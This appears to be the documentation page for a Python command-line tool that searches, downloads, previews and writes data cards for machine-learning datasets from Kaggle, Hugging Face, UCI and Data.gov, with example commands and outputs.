dataset-finder

# Dataset Finder Search, download, and explore datasets from multiple repositories including Kaggle, Hugging Face, UCI ML Repository, and Data.gov. Preview statistics, generate data cards, and manage datasets for machine learning projects. ⚠️ **Prerequisite:** Install [OpenClawCLI](https://clawhub.ai/) (Windows, MacOS) **Installation:** ```bash # Standard installation pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4 # If you encounter permission errors, use a virtual environment python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4 ``` **Never use `--break-system-packages`** as it can damage your system's Python installation. --- ## Quick Reference | Task | Command | |------|---------| | Search Kaggle | `python scripts/dataset.py kaggle search "housing prices"` | | Download Kaggle dataset | `python scripts/dataset.py kaggle download "username/dataset-name"` | | Search Hugging Face | `python scripts/dataset.py huggingface search "sentiment"` | | Download HF dataset | `python scripts/dataset.py huggingface download "dataset-name"` | | Search UCI ML | `python scripts/dataset.py uci search "classification"` | | Preview dataset | `python scripts/dataset.py preview dataset.csv` | | Generate data card | `python scripts/dataset.py datacard dataset.csv --output README.md` | | List local datasets | `python scripts/dataset.py list` | --- ## Core Features ### 1. Multi-Repository Search Search across multiple data repositories from a single interface. **Supported Sources:** - **Kaggle** - ML competitions and community datasets - **Hugging Face** - NLP, vision, and audio datasets - **UCI ML Repository** - Classic ML datasets - **Data.gov** - US government open data - **Local** - Manage downloaded datasets ### 2. Dataset Download Download datasets with automatic format detection. **Supported formats:** - CSV, TSV - JSON, JSONL - Parquet - Excel (XLSX, XLS) - ZIP archives - HDF5 - Feather ### 3. Dataset Preview Get quick statistics and insights without loading entire datasets. **Preview features:** - Shape (rows × columns) - Column names and types - Missing value counts - Basic statistics (mean, std, min, max) - Memory usage - Sample rows ### 4. Data Card Generation Automatically generate dataset documentation. **Includes:** - Dataset description - Schema information - Statistics summary - Usage examples - License information - Citation details --- ## Repository-Specific Commands ### Kaggle Search and download datasets from Kaggle. **Setup:** 1. Get Kaggle API credentials from https://www.kaggle.com/settings 2. Place `kaggle.json` in `~/.kaggle/` (Linux/Mac) or `%USERPROFILE%\.kaggle\` (Windows) ```bash # Search datasets python scripts/dataset.py kaggle search "house prices" # Search with filters python scripts/dataset.py kaggle search "NLP" --file-type csv --sort-by hotness # Download dataset python scripts/dataset.py kaggle download "zillow/zecon" # Download specific files python scripts/dataset.py kaggle download "username/dataset" --file "train.csv" # List dataset files python scripts/dataset.py kaggle list "username/dataset-name" ``` **Search options:** - `--file-type` - Filter by file type (csv, json, etc.) - `--license` - Filter by license type - `--sort-by` - Sort by hotness, votes, updated, or relevance - `--max-results` - Limit number of results **Output:** ``` 1. House Prices - Advanced Regression Techniques Owner: zillow/zecon Size: 1.5 MB Last updated: 2023-06-15 Downloads: 150,000+ URL: https://www.kaggle.com/datasets/zillow/zecon 2. Housing Prices Dataset Owner: username/housing-data Size: 850 KB Last updated: 2023-08-20 Downloads: 50,000+ URL: https://www.kaggle.com/datasets/username/housing-data ``` ### Hugging Face Datasets Search and download datasets from Hugging Face Hub. ```bash # Search datasets python scripts/dataset.py huggingface search "sentiment analysis" # Search with filters python scripts/dataset.py huggingface search "NLP" --task text-classification --language en # Download dataset python scripts/dataset.py huggingface download "imdb" # Download specific split python scripts/dataset.py huggingface download "imdb" --split train # Download specific configuration python scripts/dataset.py huggingface download "glue" --config mrpc # Stream large datasets python scripts/dataset.py huggingface download "large-dataset" --streaming ``` **Search options:** - `--task` - Filter by task (text-classification, translation, etc.) - `--language` - Filter by language code - `--multimodal` - Include multimodal datasets - `--benchmark` - Only benchmark datasets - `--max-results` - Limit results **Output:** ``` 1. IMDB Movie Reviews Dataset ID: imdb Tasks: sentiment-classification Languages: en Size: 84.1 MB Downloads: 1M+ URL: https://huggingface.co/datasets/imdb 2. Stanford Sentiment Treebank Dataset ID: sst2 Tasks: sentiment-classification Languages: en Size: 7.4 MB Downloads: 500K+ URL: https://huggingface.co/datasets/sst2 ``` ### UCI ML Repository Search and download classic ML datasets. ```bash # Search datasets python scripts/dataset.py uci search "classification" # Search by characteristics python scripts/dataset.py uci search "regression" --min-samples 1000 # Download dataset python scripts/dataset.py uci download "iris" # Download with metadata python scripts/dataset.py uci download "wine-quality" --include-metadata ``` **Search options:** - `--task-type` - classification, regression, clustering - `--min-samples` - Minimum number of instances - `--min-features` - Minimum number of features - `--data-type` - tabular, text, image, time-series **Output:** ``` 1. Iris Dataset ID: iris Task: classification Samples: 150 Features: 4 Classes: 3 Missing values: No URL: https://archive.ics.uci.edu/ml/datasets/iris 2. Wine Quality ID: wine-quality Task: classification/regression Samples: 6497 Features: 11 Missing values: No URL: https://archive.ics.uci.edu/ml/datasets/wine+quality ``` ### Data.gov Search US government open data. ```bash # Search datasets python scripts/dataset.py datagov search "census" # Search with organization filter python scripts/dataset.py datagov search "health" --organization "cdc.gov" # Search by topic python scripts/dataset.py datagov search "education" --tags "schools,students" # Download dataset python scripts/dataset.py datagov download "dataset-id" ``` **Search options:** - `--organization` - Filter by publishing organization - `--tags` - Filter by tags (comma-separated) - `--format` - Filter by format (csv, json, xml, etc.) - `--max-results` - Limit results **Output:** ``` 1. 2020 Census Demographic Data Organization: census.gov Format: CSV Size: 125 MB Last updated: 2023-01-15 Tags: census, demographics, population URL: https://catalog.data.gov/dataset/... ``` --- ## Dataset Management ### Preview Datasets Get quick insights without loading entire datasets. ```bash # Basic preview python scripts/dataset.py preview data.csv # Detailed statistics python scripts/dataset.py preview data.csv --detailed # Custom sample size python scripts/dataset.py preview data.csv --sample 20 # Multiple files python scripts/dataset.py preview train.csv test.csv ``` **Output:** ``` Dataset: train.csv Shape: 1000 rows × 15 columns Size: 2.5 MB Memory usage: 120 KB Columns: - id (int64): no missing values - name (object): 5 missing values - age (int64): no missing values - income (float64): 12 missing values - category (object): no missing values Numeric columns statistics: age income count 1000.0 988.0 mean 35.2 65432.1 std 12.5 25000.0 min 18.0 20000.0 max 75.0 150000.0 Categorical columns: - category: 5 unique values - name: 995 unique values Sample (first 5 rows): id name age income category 0 1 John Doe 35 65000.0 A 1 2 Jane Doe 28 55000.0 B 2 3 Bob Smith 42 85000.0 A ... ``` ### Generate Data Cards Create standardized dataset documentation. ```bash # Generate data card python scripts/dataset.py datacard dataset.csv --output DATACARD.md # Include statistics python scripts/dataset.py datacard dataset.csv --include-stats --output README.md # Custom template python scripts/dataset.py datacard dataset.csv --template custom_template.md # Multiple datasets python scripts/dataset.py datacard train.csv test.csv --output-dir datacards/ ``` **Generated data card includes:** - Dataset description - File information (size, format, rows, columns) - Schema (column names, types, descriptions) - Statistics (distributions, missing values, correlations) - Sample data - Usage examples - License and citation - Known issues/limitations **Example output (DATACARD.md):** ```markdown # Dataset Card: Housing Prices ## Dataset Description This dataset contains housing prices and features for regression analysis. ## Dataset Information - **Format:** CSV - **Size:** 1.2 MB - **Rows:** 1,460 - **Columns:** 81 ## Schema | Column | Type | Description | Missing | |--------|------|-------------|---------| | Id | int64 | Unique identifier | 0 | | MSSubClass | int64 | Building class | 0 | | LotArea | int64 | Lot size in sq ft | 0 | | SalePrice | int64 | Sale price | 0 | ... ## Statistics - Numerical features: 38 - Categorical features: 43 - Missing values: 19 columns affected - Target variable: SalePrice (range: $34,900 - $755,000) ## Usage ```python import pandas as pd df = pd.read_csv('housing_prices.csv') ``` ## License Creative Commons ``` ### List Local Datasets Manage downloaded datasets. ```bash # List all datasets python scripts/dataset.py list # List with details python scripts/dataset.py list --detailed # Filter by source python scripts/dataset.py list --source kaggle # Filter by size python scripts/dataset.py list --min-size 100MB --max-size 1GB ``` **Output:** ``` Local Datasets (5 total, 2.5 GB): 1. zillow/zecon (Kaggle) Downloaded: 2024-01-15 Size: 1.5 MB Files: train.csv, test.csv Location: datasets/kaggle/zillow/zecon/ 2. imdb (Hugging Face) Downloaded: 2024-01-20 Size: 84.1 MB Splits: train, test, unsupervised Location: datasets/huggingface/imdb/ 3. iris (UCI ML) Downloaded: 2024-01-18 Size: 4.5 KB Files: iris.data, iris.names Location: datasets/uci/iris/ ``` --- ## Common Workflows ### Machine Learning Project Setup Find and download datasets for a new ML project. ```bash # Step 1: Search for relevant datasets python scripts/dataset.py kaggle search "house prices" --max-results 10 --output search_results.json # Step 2: Download selected dataset python scripts/dataset.py kaggle download "zillow/zecon" # Step 3: Preview the data python scripts/dataset.py preview datasets/kaggle/zillow/zecon/train.csv --detailed # Step 4: Generate documentation python scripts/dataset.py datacard datasets/kaggle/zillow/zecon/train.csv --output DATACARD.md ``` ### NLP Project Dataset Collection Gather text datasets for NLP tasks. ```bash # Search Hugging Face for sentiment datasets python scripts/dataset.py huggingface search "sentiment" --task text-classification --language en # Download multiple datasets python scripts/dataset.py huggingface download "imdb" python scripts/dataset.py huggingface download "sst2" python scripts/dataset.py huggingface download "yelp_polarity" # Preview each dataset python scripts/dataset.py list --source huggingface ``` ### Dataset Comparison Compare multiple datasets for selection. ```bash # Search across repositories python scripts/dataset.py kaggle search "titanic" --output kaggle_results.json python scripts/dataset.py uci search "classification" --output uci_results.json # Preview candidates python scripts/dataset.py preview candidate1.csv --output stats1.txt python scripts/dataset.py preview candidate2.csv --output stats2.txt # Generate comparison data cards python scripts/dataset.py datacard candidate1.csv candidate2.csv --output-dir comparison/ ``` ### Building a Dataset Library Organize datasets for team use. ```bash # Create organized structure mkdir -p datasets/{kaggle,huggingface,uci,custom} # Download datasets with metadata python scripts/dataset.py kaggle download "dataset1" --output-dir datasets/kaggle/ python scripts/dataset.py huggingface download "dataset2" --output-dir datasets/huggingface/ # Generate data cards for all python scripts/dataset.py datacard datasets/**/*.csv --output-dir datacards/ # Create inventory python scripts/dataset.py list --detailed --output inventory.json ``` ### Data Quality Assessment Assess dataset quality before use. ```bash # Preview with detailed statistics python scripts/dataset.py preview dataset.csv --detailed --output quality_report.txt # Check for issues python scripts/dataset.py validate dataset.csv --check-missing --check-duplicates --check-outliers # Generate comprehensive data card python scripts/dataset.py datacard dataset.csv --include-stats --include-quality --output QA_REPORT.md ``` --- ## Advanced Features ### Batch Download Download multiple datasets at once. ```bash # Create download list cat > datasets.txt << EOF kaggle:zillow/zecon kaggle:username/housing huggingface:imdb uci:iris EOF # Batch download python scripts/dataset.py batch-download datasets.txt --output-dir datasets/ ``` ### Dataset Conversion Convert between formats. ```bash # CSV to Parquet python scripts/dataset.py convert data.csv --format parquet --output data.parquet # Excel to CSV python scripts/dataset.py convert data.xlsx --format csv --output data.csv # JSON to CSV python scripts/dataset.py convert data.json --format csv --output data.csv ``` ### Dataset Splitting Split datasets for ML workflows. ```bash # Train/test split python scripts/dataset.py split data.csv --train 0.8 --test 0.2 # Train/val/test split python scripts/dataset.py split data.csv --train 0.7 --val 0.15 --test 0.15 # Stratified split python scripts/dataset.py split data.csv --stratify target_column --train 0.8 --test 0.2 ``` ### Dataset Merging Combine multiple datasets. ```bash # Concatenate datasets python scripts/dataset.py merge file1.csv file2.csv --output combined.csv # Join on key python scripts/dataset.py merge left.csv right.csv --on id --how inner --output joined.csv ``` --- ## Best Practices ### Search Strategy 1. **Start broad** - Use general keywords first 2. **Refine iteratively** - Add filters based on results 3. **Check multiple sources** - Different repositories have different strengths 4. **Review metadata** - Check size, format, license before downloading ### Download Management 1. **Check size first** - Use search to see dataset size 2. **Preview before download** - When possible, preview samples 3. **Organize by source** - Keep repository structure clear 4. **Track downloads** - Use list command to manage local datasets ### Data Quality 1. **Always preview** - Check data before using 2. **Generate data cards** - Document all datasets 3. **Validate data** - Check for missing values, outliers 4. **Keep metadata** - Save original descriptions and licenses ### Storage 1. **Use version control** - Track dataset versions 2. **Compress when possible** - Use Parquet or HDF5 for large datasets 3. **Clean regularly** - Remove unused datasets 4. **Backup important data** - Keep copies of critical datasets --- ## Troubleshooting ### Installation Issues **"Missing required dependency"** ```bash # Install all dependencies pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4 # Or use virtual environment python -m venv venv source venv/bin/activate pip install -r requirements.txt ``` **"Kaggle API credentials not found"** 1. Go to https://www.kaggle.com/settings 2. Click "Create New API Token" 3. Save `kaggle.json` to: - Linux/Mac: `~/.kaggle/` - Windows: `%USERPROFILE%\.kaggle\` 4. Set permissions: `chmod 600 ~/.kaggle/kaggle.json` **"Hugging Face authentication required"** ```bash # Login to Hugging Face huggingface-cli login # Or set token export HF_TOKEN="your_token_here" ``` ### Search Issues **"No results found"** - Try broader search terms - Remove restrictive filters - Check spelling - Try different repository **"Search timeout"** - Check internet connection - Repository may be down temporarily - Try again in a few minutes ### Download Issues **"Download failed"** - Check internet connection - Verify dataset still exists - Check available disk space - Try downloading specific files **"Permission denied"** - Some datasets require accepting terms - May need API credentials - Check dataset license **"Out of memory"** - Use streaming for large datasets - Download in chunks - Use Parquet instead of CSV ### Preview Issues **"Cannot load dataset"** - Check file format - Verify file is not corrupted - Try specifying encoding: `--encoding utf-8` **"Preview too slow"** - Use smaller sample size - Preview first N rows only - Use format-specific tools --- ## Command Reference ```bash python scripts/dataset.py <command> [OPTIONS] COMMANDS: kaggle Kaggle operations (search, download, list) huggingface Hugging Face operations uci UCI ML Repository operations datagov Data.gov operations preview Preview dataset statistics datacard Generate dataset documentation list List local datasets batch-download Download multiple datasets convert Convert dataset formats split Split dataset for ML merge Combine datasets KAGGLE: search QUERY Search Kaggle datasets --file-type Filter by file type --license Filter by license --sort-by Sort results --max-results Limit results download DATASET Download Kaggle dataset --file Download specific file --output-dir Output directory HUGGING FACE: search QUERY Search HF datasets --task Filter by task --language Filter by language --max-results Limit results download DATASET Download HF dataset --split Specific split --config Configuration --streaming Stream large datasets UCI: search QUERY Search UCI datasets --task-type Filter by task --min-samples Minimum samples download DATASET Download UCI dataset PREVIEW: preview FILE Preview dataset --detailed Detailed statistics --sample N Sample size DATACARD: datacard FILE Generate data card --output Output file --include-stats Include statistics --template Custom template LIST: list List local datasets --detailed Show details --source Filter by source HELP: --help Show help ``` --- ## Examples by Use Case ### Quick Dataset Search ```bash # Find housing datasets python scripts/dataset.py kaggle search "housing" # Find NLP datasets python scripts/dataset.py huggingface search "sentiment" --task text-classification # Find classic ML datasets python scripts/dataset.py uci search "classification" ``` ### Download and Preview ```bash # Download from Kaggle python scripts/dataset.py kaggle download "zillow/zecon" # Preview the data python scripts/dataset.py preview datasets/kaggle/zillow/zecon/train.csv --detailed # Generate documentation python scripts/dataset.py datacard datasets/kaggle/zillow/zecon/train.csv ``` ### Multi-Source Search ```bash # Search all repositories python scripts/dataset.py kaggle search "titanic" --output kaggle.json python scripts/dataset.py huggingface search "titanic" --output hf.json python scripts/dataset.py uci search "classification" --output uci.json # Compare results cat kaggle.json hf.json uci.json ``` ### Dataset Management ```bash # List all downloaded datasets python scripts/dataset.py list --detailed # Preview multiple datasets python scripts/dataset.py preview *.csv # Generate data cards for all python scripts/dataset.py datacard *.csv --output-dir datacards/ ``` --- ## Support For issues or questions: 1. Check this documentation 2. Run `python scripts/dataset.py --help` 3. Verify API credentials are set 4. Check repository-specific documentation **Resources:** - OpenClawCLI: https://clawhub.ai/ - Kaggle API: https://github.com/Kaggle/kaggle-api - Hugging Face Datasets: https://huggingface.co/docs/datasets/ - UCI ML Repository: https://archive.ics.uci.edu/ml/ - Data.gov API: https://www.data.gov/developers/apis